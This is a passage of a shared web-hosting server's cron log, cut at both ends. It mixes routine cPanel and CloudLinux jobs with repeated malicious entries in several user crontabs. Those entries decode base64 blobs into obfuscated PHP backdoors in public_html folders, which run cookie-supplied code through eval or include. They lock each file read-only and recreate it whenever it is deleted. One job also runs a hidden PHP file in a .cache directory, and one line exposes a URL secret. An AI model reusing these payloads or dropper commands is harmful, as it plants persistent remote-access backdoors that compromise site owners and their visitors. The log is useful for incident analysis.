"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:29:01 medusa CROND[29836]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 23:29:01 medusa CROND[29837]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:29:01 medusa CROND[29844]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:29:01 medusa CROND[29847]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 23:29:01 medusa CROND[29826]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 23:30:02 medusa CROND[4011]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 23:30:02 medusa CROND[4012]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 23:30:02 medusa CROND[4026]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 23:30:02 medusa CROND[4157]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 23:30:02 medusa CROND[4332]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 23:30:02 medusa CROND[4333]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 23:30:02 medusa CROND[4338]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 23:30:02 medusa CROND[4339]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 23:30:02 medusa CROND[4344]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/clima/climaop/curl.php >/dev/null 2>&1)
Mar  1 23:30:02 medusa CROND[4346]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:30:02 medusa CROND[4348]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 23:30:02 medusa CROND[4352]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 23:30:02 medusa CROND[4342]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 23:30:02 medusa CROND[4353]: (servichina) CMD (php -q "/home4/servichina/public_html/wp-cron.php")
Mar  1 23:30:02 medusa CROND[4356]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  1 23:30:02 medusa CROND[4359]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:30:02 medusa CROND[4337]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 23:30:02 medusa CROND[4366]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 23:30:02 medusa CROND[4372]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 23:30:02 medusa CROND[4365]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 23:30:02 medusa CROND[4376]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:30:02 medusa CROND[4378]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 23:30:02 medusa CROND[4377]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 23:30:02 medusa CROND[4379]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 23:30:02 medusa CROND[4380]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 23:30:02 medusa CROND[4382]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 23:30:02 medusa CROND[4383]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 23:30:02 medusa CROND[4361]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 23:30:02 medusa CROND[4375]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 23:30:02 medusa CROND[4394]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:30:02 medusa CROND[4391]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 23:31:01 medusa CROND[9806]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 23:31:01 medusa CROND[9807]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 23:31:01 medusa CROND[9808]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 23:31:01 medusa CROND[9809]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 23:31:01 medusa CROND[9810]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:31:01 medusa CROND[9811]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3